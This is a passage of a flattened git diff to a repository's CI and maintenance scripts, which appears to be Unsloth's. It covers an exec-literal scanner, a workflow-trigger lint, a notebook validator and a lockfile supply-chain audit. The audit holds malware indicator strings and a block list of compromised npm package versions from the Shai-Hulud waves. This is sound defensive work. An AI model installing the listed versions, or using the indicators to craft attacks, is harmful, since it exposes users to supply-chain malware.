repositories.SINKS = ("exec", "eval", "compile")-# Notebooks are scanned too: in the notebooks repository they are the maintained-# source, and a cell runs the same interpreter a module does.+# Notebooks are scanned too: in the notebooks repository they are the maintained source, and a cell runs the same+# interpreter a module does.SUFFIXES = (".py", ".ipynb")REPO_ROOT = Path(__file__).resolve().parents[1]BASELINE_PATH = Path(__file__).resolve().parent / "exec_literals_baseline.json"-# Not part of any commit, or not ours to fail on. `tests` is excluded because a test-# legitimately keeps a real `exec` around as the thing it is asserting about.+# Not part of any commit, or not ours to fail on. `tests` is excluded because a test legitimately keeps a real `exec`+# around as the thing it is asserting about.EXCLUDED_PARTS = frozenset({"tests",@@ -73,8 +73,7 @@ def _is_written_out(node: ast.AST) -> bool:if isinstance(node, ast.Constant):return isinstance(node.value, (str, bytes))if isinstance(node, ast.JoinedStr):- # An f-string with no placeholder is just a string. One with a placeholder is- # the whole point of this check.+ # An f-string with no placeholder is just a string.return not any(isinstance(part, ast.FormattedValue) for part in node.values)if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add):# `"import " + "torch"` is still written out; `"import " + name` is not.@@ -127,12 +126,11 @@ def scan_file(path: Path, relative: str) -> list[dict]:tree = ast.parse(source, filename = str(path))except (SyntaxError, ValueError, MemoryError, RecursionError) as error:if path.suffix == ".ipynb":- # A notebook that does not parse as one module is ordinary: a cell may be- # mid-edit, or depend on an earlier `%%capture`. Nothing to check, and- # failing the build for it would be noise.+ # A notebook that does not parse as one module is ordinary: a cell may be mid-edit, or depend on an+ # earlier `%%capture`. Nothing to check, and failing the build for it would be noise.return []- # A .py file that will not parse has not been checked, and reporting it clean- # is the bypass this whole gate exists to avoid.+ # A .py file that will not parse has not been checked, and reporting it clean is the bypass this whole gate+ # exists to avoid.raise SystemExit(f"{relative}: could not be parsed ({error.__class__.__name__})")found = []for node in ast.walk(tree):@@ -157,8 +155,8 @@ def collect(targets: list[str]) -> list[dict]:elif root.is_dir():paths = sorted(q for s in SUFFIXES for q in root.rglob(f"*{s}"))else:- # A target that resolves to nothing means the gate covers less than it- # claims to, which is a silent hole rather than a passing run.+ # A target that resolves to nothing means the gate covers less than it claims to, which is a silent hole+ # rather than a passing run.raise SystemExit(f"{target}: scan target does not exist, so nothing under it was checked")@@ -168,8 +166,7 @@ def collect(targets: list[str]) -> list[dict]:try:relative = path.relative_to(REPO_ROOT).as_posix()except ValueError:- # `--paths` may name a file outside the checkout, which is how the tests- # drive the gate. Report it by the name it was given.+ # `--paths` may name a file outside the checkout, which is how the tests drive the gate.relative = path.as_posix()if EXCLUDED_PARTS & set(Path(relative).parts):continue@@ -203,9 +200,8 @@ def main() -> int:found = collect(targets)if arguments.update:- # Existing reasons are carried over. Rebuilding the list from scratch reset- # every hand-written justification to nothing, which is how a reviewed entry- # silently becomes an unreviewed one.+ # Existing reasons are carried over. Rebuilding the list from scratch reset every hand-written+ # justification to nothing, which is how a reviewed entry silently becomes an unreviewed one.reasons = {(e["file"], e["sink"], e["digest"]): e.get("reason", "") for e in document["entries"]}@@ -255,8 +251,8 @@ def main() -> int:stale = sorted(k for k in allowed if k not in observed)if stale:- # A baseline that outlives its call site quietly re-permits whatever lands on- # that digest next, so it is an error rather than a note.+ # A baseline that outlives its call site quietly re-permits whatever lands on that digest next, so it is an+ # error rather than a note.print(f"{len(stale)} baseline entr(y/ies) no longer match any call. Run --update:\n")for f, s, d in stale:print(f" {f} {s} {d}")diff --git a/scripts/lint_no_parallel_clamp.py b/scripts/lint_no_parallel_clamp.pyindex f64f60e3653..6d7ebda5249 100644--- a/scripts/lint_no_parallel_clamp.py+++ b/scripts/lint_no_parallel_clamp.py@@ -41,9 +41,8 @@ from pathlib import PathREPO_ROOT = Path(__file__).resolve().parents[1]DEFAULT_SCAN_DIR = REPO_ROOT / "studio" / "backend"-# Aliases the same count travels under: the route resolves a request into `_n_parallel`,-# and a request that names no count resolves to `llama_parallel_slots`, so a clamp on-# either reduces the user's slots under a different name.+# Aliases the same count travels under: the route resolves a request into `_n_parallel`, and a request that names no+# count resolves to `llama_parallel_slots`, so a clamp on either reduces the user's slots under a different name.SLOT_NAMES = frozenset({"n_parallel", "_n_parallel", "llama_parallel_slots"})ALLOW_MARKER = "# allow-slot-clamp:"SKIP_PARTS = frozenset({"tests", ".venv", "venv", "build", "dist", "node_modules", "__pycache__"})diff --git a/scripts/lint_workflow_triggers.py b/scripts/lint_workflow_triggers.pyindex 0603301b63d..2b55099acb1 100644--- a/scripts/lint_workflow_triggers.py+++ b/scripts/lint_workflow_triggers.py@@ -38,7 +38,6 @@ DEFAULT_WORKFLOWS_DIR = REPO_ROOT / ".github" / "workflows"BANNED_TRIGGERS: tuple[str, ...] = ("pull_request_target",)RESTRICTED_TRIGGERS: tuple[str, ...] = ("workflow_run",)-# Match both workflow extensions by stem.PUBLISH_WORKFLOW_STEMS: tuple[str, ...] = ("release-desktop",)# The host must run on every PR and be able to fail.@@ -311,7 +310,6 @@ def main() -> int:require_host = workflows_dir.resolve() == DEFAULT_WORKFLOWS_DIR.resolve()findings: list[str] = []- # GitHub Actions loads both workflow extensions.workflows = sorted(list(workflows_dir.glob("*.yml")) + list(workflows_dir.glob("*.yaml")))pr_triggered: list[tuple[Path, list[str]]] = []publish_triggered: list[tuple[Path, list[str]]] = []diff --git a/scripts/lockfile_supply_chain_audit.py b/scripts/lockfile_supply_chain_audit.pyindex ae901090318..4fd4be070b8 100644--- a/scripts/lockfile_supply_chain_audit.py+++ b/scripts/lockfile_supply_chain_audit.py@@ -34,9 +34,7 @@ from pathlib import PathREPO_ROOT = Path(__file__).resolve().parents[1]-# Known IOC strings (case-sensitive substring match). Each is tied to a-# public advisory; speculative/generic patterns would false-positive on-# upgrades.+# Known IOC strings (case-sensitive substring match).NPM_IOC_STRINGS: tuple[str, ...] = (# Shai-Hulud TanStack wave -- May 11, 2026 (GHSA-g7cv-rxg3-hmpx)."router_init.js",@@ -61,8 +59,7 @@ NPM_IOC_STRINGS: tuple[str, ...] = ("We've been online over 2 hours",)-# Hard pin-blocks for publicly confirmed malicious versions.-# keep in sync with scripts/scan_npm_packages.py+# Hard pin-blocks for publicly confirmed malicious versions; keep in sync with scripts/scan_npm_packages.py.BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {# GHSA-g7cv-rxg3-hmpx -- TanStack May-11 2026 (84 versions)."@tanstack/arktype-adapter": {"1.166.12", "1.166.15"},@@ -206,8 +203,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"@mistralai/mistralai": {"2.2.2", "2.2.3", "2.2.4"},"@mistralai/mistralai-gcp": {"1.7.1", "1.7.2", "1.7.3"},"@mistralai/mistralai-azure": {"1.7.1", "1.7.2", "1.7.3"},- # Mini Shai-Hulud May-12 wave: @tallyui/* (30 entries, 10 packages)- # (Aikido enumeration).+ # Mini Shai-Hulud May-12 wave: @tallyui/* (30 entries, 10 packages) (Aikido enumeration)."@tallyui/components": {"1.0.1", "1.0.2", "1.0.3"},"@tallyui/connector-medusa": {"1.0.1", "1.0.2", "1.0.3"},"@tallyui/connector-shopify": {"1.0.1", "1.0.2", "1.0.3"},@@ -218,8 +214,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"@tallyui/pos": {"0.1.1", "0.1.2", "0.1.3"},"@tallyui/storage-sqlite": {"0.2.1", "0.2.2", "0.2.3"},"@tallyui/theme": {"0.2.1", "0.2.2", "0.2.3"},- # Mini Shai-Hulud May-12 wave: @beproduct/nestjs-auth (18 versions)- # (Aikido enumeration).+ # Mini Shai-Hulud May-12 wave: @beproduct/nestjs-auth (18 versions) (Aikido enumeration)."@beproduct/nestjs-auth": {"0.1.2","0.1.3",@@ -240,15 +235,13 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"0.1.18","0.1.19",},- # Mini Shai-Hulud May-12 wave: @draftlab/* + @draftauth/*- # (Aikido enumeration).+ # Mini Shai-Hulud May-12 wave: @draftlab/* + @draftauth/* (Aikido enumeration)."@draftauth/client": {"0.2.1", "0.2.2"},"@draftauth/core": {"0.13.1", "0.13.2"},"@draftlab/auth": {"0.24.1", "0.24.2"},"@draftlab/auth-router": {"0.5.1", "0.5.2"},"@draftlab/db": {"0.16.1"},- # Mini Shai-Hulud May-12 wave: @taskflow-corp/cli + @tolka/cli- # (Aikido enumeration).+ # Mini Shai-Hulud May-12 wave: @taskflow-corp/cli + @tolka/cli (Aikido enumeration)."@taskflow-corp/cli": {"0.1.24", "0.1.25", "0.1.26", "0.1.27", "0.1.28", "0.1.29"},"@tolka/cli": {"1.0.2", "1.0.3", "1.0.4", "1.0.5", "1.0.6"},# Mini Shai-Hulud May-12 wave: @ml-toolkit-ts/* + @mesadev/* + @dirigible-ai/sdk + @supersurkhet/*@@ -261,8 +254,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"@ml-toolkit-ts/xgboost": {"1.0.3", "1.0.4"},"@supersurkhet/cli": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"},"@supersurkhet/sdk": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"},- # Mini Shai-Hulud May-12 wave: Unscoped packages (10 entries)- # (Aikido enumeration).+ # Mini Shai-Hulud May-12 wave: unscoped packages (10 entries) (Aikido enumeration)."safe-action": {"0.8.3", "0.8.4"},"ts-dna": {"3.0.1", "3.0.2", "3.0.3", "3.0.4"},"cross-stitch": {"1.1.3", "1.1.4", "1.1.5", "1.1.6"},@@ -273,19 +265,16 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {"git-git-git": {"1.0.8", "1.0.9", "1.0.10", "1.0.11", "1.0.12"},"nextmove-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7"},"ml-toolkit-ts": {"1.0.4", "1.0.5"},- # Cross-ecosystem Mini Shai-Hulud (Apr-30 wave): npm counterpart of- # PyPI lightning 2.6.2/2.6.3. Same threat actor (TeamPCP) per Semgrep,- # Aikido, OX Security, Resecurity. Safe version: 7.0.3 and earlier.+ # Cross-ecosystem Mini Shai-Hulud (Apr-30 wave): npm counterpart of PyPI lightning 2.6.2/2.6.3.+ # Safe version: 7.0.3 and earlier."intercom-client": {"7.0.4"},}CARGO_IOC_STRINGS: tuple[str, ...] = (- # Empty by default; the `source` origin check catches the structural- # pattern. Reserved for future cargo-side incidents.+ # Empty by default; the `source` origin check catches the structural pattern.)-# Allowed lockfile origins.NPM_REGISTRY_PREFIX = "https://registry.npmjs.org/"NPM_REGISTRY_PREFIXES_ALLOWED: tuple[str, ...] = (NPM_REGISTRY_PREFIX,)@@ -293,9 +282,8 @@ CARGO_REGISTRY_SOURCE = "registry+https://github.com/rust-lang/crates.io-index"# Cargo non-registry source allowlist: `(crate_name, exact_source_string)`.-# Both must match verbatim; bumping the pinned SHA forces a re-review.-# Unsloth's Tauri shell pulls `fix-path-env` from git because it is not-# published to crates.io; commit c4c45d5 was reviewed when it landed.+# Both must match verbatim; bumping the pinned SHA forces a re-review. Unsloth's Tauri shell pulls `fix-path-env`+# from git because it is not published to crates.io; commit c4c45d5 was reviewed when it landed.CARGO_SOURCE_ALLOWLIST: tuple[tuple[str, str], ...] = (("fix-path-env",@@ -396,14 +384,12 @@ def audit_npm_lockfile(path: Path) -> list[Finding]:continueresolved = entry.get("resolved")- # Entries nested in another package's node_modules are bundled- # fold-ins covered by the parent's integrity; treat as transparent.+ # Entries nested in another package's node_modules are bundled fold-ins covered by the parent's integrity; treat+ # as transparent.nested = key.count("/node_modules/") >= 1- # 1. resolved-URL origin.if resolved is None:if nested or entry.get("bundled"):- # Bundled / fold-in entry; covered by parent integrity.passelif entry.get("version"):# Top-level entry without a resolved URL is suspicious.@@ -434,7 +420,6 @@ def audit_npm_lockfile(path: Path) -> list[Finding]:))- # 2. integrity-hash presence.if resolved is not None and not entry.get("integrity"):findings.append(Finding(@@ -448,7 +433,6 @@ def audit_npm_lockfile(path: Path) -> list[Finding]:))- # 3. Blocked malicious version list.nm_prefix = "node_modules/"pkg_name = key[len(nm_prefix) :] if key.startswith(nm_prefix) else keyversion = entry.get("version")@@ -463,8 +447,8 @@ def audit_npm_lockfile(path: Path) -> list[Finding]:))- # 4. Known IOC strings: scan the raw body to catch fields the- # structural pass doesn't enumerate (scripts, optional deps, etc.).+ # Known IOC strings: scan the raw body to catch fields the structural pass doesn't enumerate+ # (scripts, optional deps, etc.).for ioc in NPM_IOC_STRINGS:if ioc in raw:line_no = _first_line_containing(raw, ioc)@@ -616,16 +600,11 @@ def audit_cargo_lockfile(path: Path) -> list[Finding]:# Finding kinds split into BLOCKING vs ADVISORY for the default run mode.-# Blocking = public attack indicators (known-malicious version, IOC-# string) plus the provenance/integrity checks this gate must enforce-# before `npm ci` / `cargo fetch` runs lifecycle scripts. Advisory =-# incomplete-but-not-fetchable anomalies. --strict blocks everything.BLOCKING_KINDS: frozenset[str] = frozenset({"blocked-known-malicious","known-ioc-string",- # A non-registry URL or an unverifiable tarball is the exact- # pre-install fetch this gate exists to stop.+ # A non-registry URL or an unverifiable tarball is the exact pre-install fetch this gate exists to stop."non-registry-resolved-url","missing-integrity-hash","non-registry-cargo-source",@@ -696,19 +675,14 @@ def main(argv: list[str] | None = None) -> int:)args = parser.parse_args(argv)- # Require a real justification (>=5 chars, not a boolean-shaped token)- # for the skip env var. An invalid value warns and falls through to- # run the audit (fail-safe); a valid one warns and skips with rc=0.+ # Require a real justification (>=5 chars, not a boolean-shaped token) for the skip env var._skip_raw = os.environ.get("UNSLOTH_LOCKFILE_AUDIT_SKIP")if _skip_raw is not None:_skip = _skip_raw.strip()_invalid_tokens = {"", "1", "0", "true", "false", "yes", "no", "on", "off"}- # Both branches echo the user-supplied env var inside a- # ``::warning::`` GH Actions workflow command. The raw value can- # contain ``%``, ``\r``, ``\n`` or even another ``::error::``- # line (workflow-command injection); _gha_escape collapses each- # message onto a single annotation line per the GH workflow-- # commands spec.+ # Both branches echo the user-supplied env var inside a ``::warning::`` GH Actions workflow command. The raw+ # value can contain ``%``, ``\r``, ``\n`` or even another ``::error::`` line (workflow-command injection);+ # _gha_escape collapses each message onto a single annotation line per the GH workflow-commands spec.if _skip.lower() in _invalid_tokens or len(_skip) < 5:print("::warning::"@@ -754,9 +728,7 @@ def main(argv: list[str] | None = None) -> int:)return 0- # Split into blocking (known-malicious / IOC / structurally broken)- # and advisory (everything else). Default mode prints advisories- # without changing the exit code; --strict makes all blocking.+ # Split into blocking (known-malicious / IOC / structurally broken) and advisory (everything else).blocking = [f for f in all_findings if f.kind in BLOCKING_KINDS]advisory = [f for f in all_findings if f.kind not in BLOCKING_KINDS]@@ -771,8 +743,8 @@ def main(argv: list[str] | None = None) -> int:file = sys.stderr,)for f in advisory:- # GH Actions warning annotation; _gha_escape collapses the- # multi-line Finding onto one line so it renders fully in the UI.+ # GH Actions warning annotation; _gha_escape collapses the multi-line Finding onto one+ # line so it renders fully in the UI.print(f"::warning::{_gha_escape(str(f))}", file = sys.stderr)print(file = sys.stderr)diff --git a/scripts/make_dmg_background.py b/scripts/make_dmg_background.pyindex 0a92ed64b6d..d66166157c7 100644--- a/scripts/make_dmg_background.py+++ b/scripts/make_dmg_background.py@@ -38,24 +38,20 @@ APPS_X, APPS_Y = 480, 170SCALE = 2W, H = WIN_W * SCALE, WIN_H * SCALE-# Finder's title bar and bottom path bar eat the rest of the window, so only-# about this much of the image is ever on screen. measured, not derived.+# Finder's title bar and bottom path bar eat the rest of the window, so only about this much of the image is ever on+# screen. measured, not derived.VISIBLE_H = 340-# base surface: near-white with a barely-there cool gradient toward the bottomTOP_COLOR = "#FFFFFF"BOTTOM_COLOR = "#F5F8F7"-# One brand green fading to a lighter green further out. Mixing several hues-# around the icon made some directions read stronger than others even at matched-# alpha, so the halo varies by radius only and is even by construction.+# One brand green fading to a lighter green further out.GLOW_CORE = "#17B88B"GLOW_EDGE = "#7BE8A6"GLOW_EDGE_MIX = 0.45GLOW_MIX_RADIUS = 110.0-# strength is the peak tint, sigma sets how far the halo reaches. they trade-# off: raising strength alone also pushes the visible edge outward.+# strength is the peak tint, sigma sets how far the halo reaches.GLOW_STRENGTH = 1.48GLOW_SIGMA = 50.0@@ -67,14 +63,13 @@ GLOW_BOTTOM_FLOOR = 0.25GLOW_BOTTOM_START = 50.0GLOW_BOTTOM_SPAN = 30.0-# chevron between the two icons, sized to match the macOS installers this-# mirrors: a light 16x27pt mark in neutral grey, not a heavy arrow+# chevron between the two icons, sized to match the macOS installers this mirrors:+# a light 16x27pt mark in neutral grey, not a heavy arrow.CHEVRON_HALF_W, CHEVRON_HALF_H = 8.0, 13.5CHEVRON_STROKE = 6.0CHEVRON_COLOR = (87, 87, 87, 255)-# ImageDraw has no anti-aliasing, so the chevron is drawn oversized and scaled-# back down. its diagonals alias badly otherwise.+# ImageDraw has no anti-aliasing, so the chevron is drawn oversized and scaled back down.CHEVRON_SUPERSAMPLE = 4@@ -148,8 +143,7 @@ def build() -> Image.Image:def report() -> None:"""Print how the halo sits relative to the icon and its label."""base = base_canvas()- # the halo on its own, with the base gradient taken back out so the vertical- # ramp does not read as part of it+ # the halo on its own, with the base gradient taken back out so the vertical ramp does not read as part of ithalo = np.clip(base - render_glow(base), 0.0, None).max(axis = 2)cx, cy = APP_X * SCALE, APP_Y * SCALEdiff --git a/scripts/notebook_validator.py b/scripts/notebook_validator.pyindex ec8154b81ae..7fa279e781e 100644--- a/scripts/notebook_validator.py+++ b/scripts/notebook_validator.py@@ -79,27 +79,24 @@ COLAB_PIP_FREEZE_URL = ()COLAB_FALLBACK_FILE = DATA_DIR / "colab_pip_freeze.gpu.txt"-# Oracle files snapshotted from googlecolab/backend-info. The colab-diff-# subcommand surfaces NEW/REMOVED/CHANGED entries so upstream Colab base-# image rotations land in CI within ~24h, giving R-INST-002/003/004/005-# earlier signal.+# Oracle files snapshotted from googlecolab/backend-info.+# The colab-diff subcommand surfaces NEW/REMOVED/CHANGED entries so upstream Colab base image rotations land in CI+# within ~24h, giving R-INST-002/003/004/005 earlier signal.COLAB_ORACLE_FILES: dict[str, str] = {"pip-freeze.gpu.txt": "colab_pip_freeze.gpu.txt","apt-list-gpu.txt": "colab_apt_list.gpu.txt","os-info-gpu.txt": "colab_os_info.gpu.txt",}-# Only the pip oracle feeds a rule: `lint --colab-pin` reads it, and that is-# what R-INST-002/003/004/005 resolve against. apt-list / os-info are human-# context (what else the image ships), so their drift is reported but never-# fails --strict -- otherwise an Ubuntu security bump nothing can consult-# turns the daily cron red.+# Only the pip oracle feeds a rule: `lint --colab-pin` reads it, and that is what R-INST-002/003/004/005 resolve+# against. apt-list / os-info are human context (what else the image ships), so their drift is reported but never+# fails --strict -- otherwise an Ubuntu security bump nothing can consult turns the daily cron red.COLAB_STRICT_ORACLE = "pip-freeze.gpu.txt"COLAB_ORACLE_BASE_URL = "https://raw.githubusercontent.com/googlecolab/backend-info/main/"++# torch.minor -> compatible torchcodec.minor strings. Source: pytorch/torchcodec README compatibility matrix.# ----- Compat tables. PRs add rows as new releases land. ----- #-# torch.minor -> set of compatible torchcodec.minor strings.-# Source: pytorch/torchcodec compatibility matrix on its README.TORCH_TORCHCODEC: dict[str, set[str]] = {"2.10": {"0.10"},"2.9": {"0.8", "0.9"},@@ -114,8 +111,8 @@ PEFT_TORCHAO_FLOOR: list[dict[str, str]] = [{"trigger_peft": "0.19", "torchao_floor": "0.16.0"},]-# git+ allowlist: install lines that legitimately fetch from GitHub. Anything-# else flags R-INST-001.+# git+ allowlist: install lines that legitimately fetch from GitHub.+# Anything else flags R-INST-001.GIT_PLUS_ALLOWLIST = ("github.com/SparkAudio/Spark-TTS","github.com/state-spaces/mamba",@@ -124,8 +121,6 @@ GIT_PLUS_ALLOWLIST = ("github.com/unslothai/unsloth",)-# ----- Findings ----- #-@dataclasses.dataclassclass Finding:@@ -259,9 +254,6 @@ def cmp_versions(a: str, b: str) -> int:return 0-# ----- Install-cell parsing ----- #--@dataclasses.dataclassclass PipInvocation:tool: str # "pip" | "uv-pip"@@ -297,12 +289,10 @@ def parse_pip_line(line: str, line_no: int = 0) -> PipInvocation | None:return Nonetool = "uv-pip" if "uv" in m.group("tool") else "pip"rest = m.group("rest")- # Strip trailing comment.rest = re.split(r"(?<!\S)#", rest, maxsplit = 1)[0]try:tokens = shlex.split(rest, posix = True)except ValueError:- # f-string interpolation like {xformers}: replace braces with placeholders.rest_safe = re.sub(r"\{[^}]+\}", "PLACEHOLDER", rest)try:tokens = shlex.split(rest_safe, posix = True)@@ -356,7 +346,6 @@ def iter_pip_invocations(install_cell: str) -> Iterator[PipInvocation]:yield inv-# Spec parsing: only what we need (no full PEP 440).SPEC_RE = re.compile(r"^(?P<name>[A-Za-z0-9._-]+)(?:\[[^\]]*\])?(?P<rest>.*)$")OP_VERSION_RE = re.compile(r"(==|>=|<=|!=|~=|>|<)\s*([0-9][^,;\s]*)")@@ -421,8 +410,8 @@ def transitive_constraint(name: str, version: str, target: str) -> tuple[str | Nrequires = info.get("requires_dist") or []target_l = target.lower()for req in requires:- # Examples: 'tokenizers (<=0.23.0,>=0.22.0)', 'tokenizers <=0.23.0,>=0.22.0',- # 'tokenizers (>=0.22.0,<=0.23.0); python_version >= "3.9"'+ # Examples: 'tokenizers (<=0.23.0,>=0.22.0)', 'tokenizers <=0.23.0,>=0.22.0', 'tokenizers (>=0.22.0,<=0.23.0);+ # python_version >= "3.9"'head = req.split(";", 1)[0].strip()m = re.match(r"^([A-Za-z0-9._-]+)\s*\(?([^)]*)?\)?\s*$", head)if not m:@@ -623,7 +612,7 @@ def rule_inst_004_torchcodec_torch(c_minor = version_minor(codec_v)allowed = TORCH_TORCHCODEC.get(t_minor)if allowed is None:- return findings # unknown torch minor — don't flag+ return findings # unknown torch minor, don't flagif c_minor not in allowed:findings.append(Finding(@@ -721,9 +710,9 @@ class _APIScanner(ast.NodeVisitor):def visit_Call(self, node: ast.Call) -> None:# SFTConfig with suboptimal optim (R-API-003).- # NOTE: PR #221 also stripped gradient_checkpointing kwargs from some- # vision notebooks, but they're still accepted by live TRL (trl==0.25.1)- # so that was cosmetic. We don't flag them; R-API-004 catches real drift.+ # NOTE: PR #221 also stripped gradient_checkpointing kwargs from some vision notebooks, but they're still+ # accepted by live TRL (trl==0.25.1) so that was cosmetic.+ # R-API-004 catches real drift.if isinstance(node.func, ast.Name) and node.func.id == "SFTConfig":for kw in node.keywords:if (@@ -764,7 +753,6 @@ def scan_user_cells(nb: dict[str, Any], file: str) -> list[Finding]:# ----- DONT_UPDATE_EXCEPTIONS coverage ----- #POLICY_CLAUSES_DEFAULT = [- # (id, regex, applies_to_predicate_on_install_cell_text)("torchao-floor",re.compile(r"torchao>=0\.16\.0"),@@ -844,9 +832,7 @@ def cmd_drift(args: argparse.Namespace) -> int:check = False,capture_output = True,)- # The restore MUST run even on SystemExit/KeyboardInterrupt, else the- # working tree stays rolled back into the stash. A bare try/finally keeps- # the original exception while still running the cleanup (stash pop).+ # The restore MUST run even on SystemExit/KeyboardInterrupt, else the working tree stays rolled back into the stash.findings: list[Finding] = []rc: inttry:@@ -974,16 +960,14 @@ def cmd_lint(args: argparse.Namespace) -> int:continuerel = str(path.relative_to(nbdir))env = target_environment(rel)- # Colab oracle applies only to Colab notebooks; other targets get the- # environment-agnostic rules only (their preinstalls aren't tracked).+ # Colab oracle applies only to Colab notebooks; other targets get the environment-agnostic rules only (their+ # preinstalls aren't tracked).oracle = colab if env == "colab" else {}cells = install_cells(nb)- # Per-cell forbid-pattern checks.for idx, cell in cells:findings += rule_inst_001_git_plus(cell, rel, idx)findings += rule_inst_006_double_bang(cell, rel, idx)- # Whole-notebook rules: install steps may span multiple cells, so merge- # before resolving compat against Colab.+ # Whole-notebook rules: install steps may span multiple cells, so merge before resolving compat against Colab.merged = "\n".join(c for _, c in cells)if env == "colab" and merged:first_cell = cells[0][0] if cells else None@@ -1088,9 +1072,8 @@ def cmd_refresh_colab(args: argparse.Namespace) -> int:colab-diff drift report is acknowledged in one command."""if args.all:snapshot_dir = pathlib.Path(args.snapshot_dir).resolve()- # Fetch everything before writing anything. Writing as we go would let a- # transient apt/os-info failure leave a mixed-generation directory -- and- # since pip is fetched first and is the only oracle --strict reads, the+ # Fetch everything before writing anything. Writing as we go would let a transient apt/os-info failure leave+ # a mixed-generation directory -- and since pip is fetched first and is the only oracle --strict reads, the# tripwire would go quiet on a refresh that actually failed.payloads: dict[str, bytes] = {}for upstream_name, snapshot_name in COLAB_ORACLE_FILES.items():diff --git a/scripts/nvfp4_t211_probe.py b/scripts/nvfp4_t211_probe.pyindex aadc2a33750..f6f2df8c96b 100644--- a/scripts/nvfp4_t211_probe.py+++ b/scripts/nvfp4_t211_probe.py@@ -47,7 +47,8 @@ def diagnostics() -> None:f"e8m0={hasattr(torch, 'float8_e8m0fnu')} _scaled_mm={hasattr(torch, '_scaled_mm')}",flush = True,)- # torchao prints "Skipping import of cpp extensions" on torch<2.11; its absence means CUTLASS FP4 is live.+ # torchao prints "Skipping import of cpp extensions" on torch<2.11;+ # its absence means CUTLASS FP4 is live.print(" (no 'Skipping import of cpp extensions' line above => cpp/CUTLASS ext loaded)",flush = True,diff --git a/scripts/online_tokenization_ab.py b/scripts/online_tokenization_ab.pyindex 9ef6b268460..e92b9d61701 100644--- a/scripts/online_tokenization_ab.py+++ b/scripts/online_tokenization_ab.py@@ -107,8 +107,8 @@ def main() -> int:return 1mark("model_ready")- # `local_datasets` resolves its entries to files and rejects anything without a- # supported extension, so a Hub id has to go through `dataset_source` instead.+ # `local_datasets` resolves its entries to files and rejects anything without a supported extension, so a Hub id has+ # to go through `dataset_source` instead.local_split = os.path.exists(args.dataset) or Path(args.dataset).suffix.lower() in (".json",".jsonl",diff --git a/scripts/perf_levers_probe.py b/scripts/perf_levers_probe.pyindex a387a9e2fd1..a55bc4a9989 100644--- a/scripts/perf_levers_probe.py+++ b/scripts/perf_levers_probe.py@@ -142,14 +142,14 @@ def run(except Exception as exc: # noqa: BLE001note = f"attn({attn})={type(exc).__name__}:{str(exc)[:60]}"print(f" [{tag}] {note}", flush = True)- del pipe # free the resident pipe so a skipped variant doesn't leak VRAM+ del pipetorch.cuda.empty_cache()return Noneelse:# set_attention_backend is process-wide and fresh processors inherit it, so force native for no-attn variants.try:pipe.transformer.set_attention_backend("native")- except Exception as exc: # noqa: BLE001 — best-effort isolation+ except Exception as exc: # noqa: BLE001 - best-effort isolationprint(f" [{tag}] attn(native-reset)={type(exc).__name__}:{str(exc)[:60]}", flush = True)diff --git a/scripts/prequant_probe.py b/scripts/prequant_probe.pyindex cbcbc245fe3..7aed40a5647 100644--- a/scripts/prequant_probe.py+++ b/scripts/prequant_probe.py@@ -56,7 +56,6 @@ def _build():quantize_(t, _fp8_cfg(), filter_fn = _filt)CKPT.parent.mkdir(parents = True, exist_ok = True)sd = t.state_dict()- # move to cpu for a portable, gpu-free checkpointsd = {k: (v.detach().to("cpu") if hasattr(v, "detach") else v) for k, v in sd.items()}torch.save(sd, CKPT)sz = CKPT.stat().st_size / 1e9@@ -106,7 +105,7 @@ def _baseline(steps, seed, res):quantize_(t, _fp8_cfg(), filter_fn = _filt)load_peak = torch.cuda.max_memory_allocated() / 1e9pipe = _make_pipe_from_transformer(t)- img, dt = _gen(pipe, steps, seed, res) # warmup+ img, dt = _gen(pipe, steps, seed, res)img, dt = _gen(pipe, steps, seed, res)OUT.mkdir(parents = True, exist_ok = True)img.save(OUT / "baseline.png")@@ -147,11 +146,10 @@ def _prequant(steps, seed, res):flush = True,)pipe = _make_pipe_from_transformer(t)- img, dt = _gen(pipe, steps, seed, res) # warmup+ img, dt = _gen(pipe, steps, seed, res)img, dt = _gen(pipe, steps, seed, res)OUT.mkdir(parents = True, exist_ok = True)img.save(OUT / "prequant.png")- # LPIPS vs baseline if presentbpath = OUT / "baseline.png"lp = Noneif bpath.exists():diff --git a/scripts/profile_startup.py b/scripts/profile_startup.pyindex bee8b570e6a..5a8b18801ad 100644--- a/scripts/profile_startup.py+++ b/scripts/profile_startup.py@@ -88,8 +88,8 @@ def profile_imports(python: str, top: int = 15) -> dict:}by_cum = sorted(rows, key = lambda r: -r[1])- # Total comes from the `main` row, not by_cum[0]: -X importtime also prints the- # interpreter's own startup graph (`site`), which can outrank a trivial main.+ # Total comes from the `main` row, not by_cum[0]: -X importtime also prints the interpreter's+ # own startup graph (`site`), which can outrank a trivial main.main_row = next((r for r in reversed(rows) if r[2] == "main"), None)if main_row is None:return {@@ -161,8 +161,8 @@ def profile_launch()def _drain() -> None:- # Runs alongside the health polling: the first read timestamps the spawn- # phase, and an undrained pipe blocks the backend before it binds.+ # Runs alongside the health polling: the first read timestamps the spawn phase, and an undrained pipe+ # blocks the backend before it binds.for line in proc.stdout:if not first_byte:first_byte.append(time.perf_counter() - t0)@@ -285,8 +285,8 @@ def main(argv: list[str]) -> int:# Same reason: --import-only never launches anything.if a.import_only and a.max_healthz_seconds is not None:ap.error("--max-healthz-seconds cannot be combined with --import-only")- # nan and inf parse fine as floats but `med > budget` is then always False,- # so the gate would report success without ever bounding anything.+ # nan and inf parse fine as floats but `med > budget` is then always False, so the gate would report success without+ # ever bounding anything.if a.max_healthz_seconds is not None and not math.isfinite(a.max_healthz_seconds):ap.error("--max-healthz-seconds must be a finite number")@@ -356,8 +356,7 @@ def main(argv: list[str]) -> int:)return 1if med is None:- # Nothing measured: exiting 0 would pass a requested budget without a- # single health request, so fail closed.+ # Nothing measured: exiting 0 would pass a requested budget without a single health request, so fail closed.print("::error::startup regression: no healthz measurement, so the "f"{a.max_healthz_seconds}s budget was never checked "diff --git a/scripts/scan_npm_packages.py 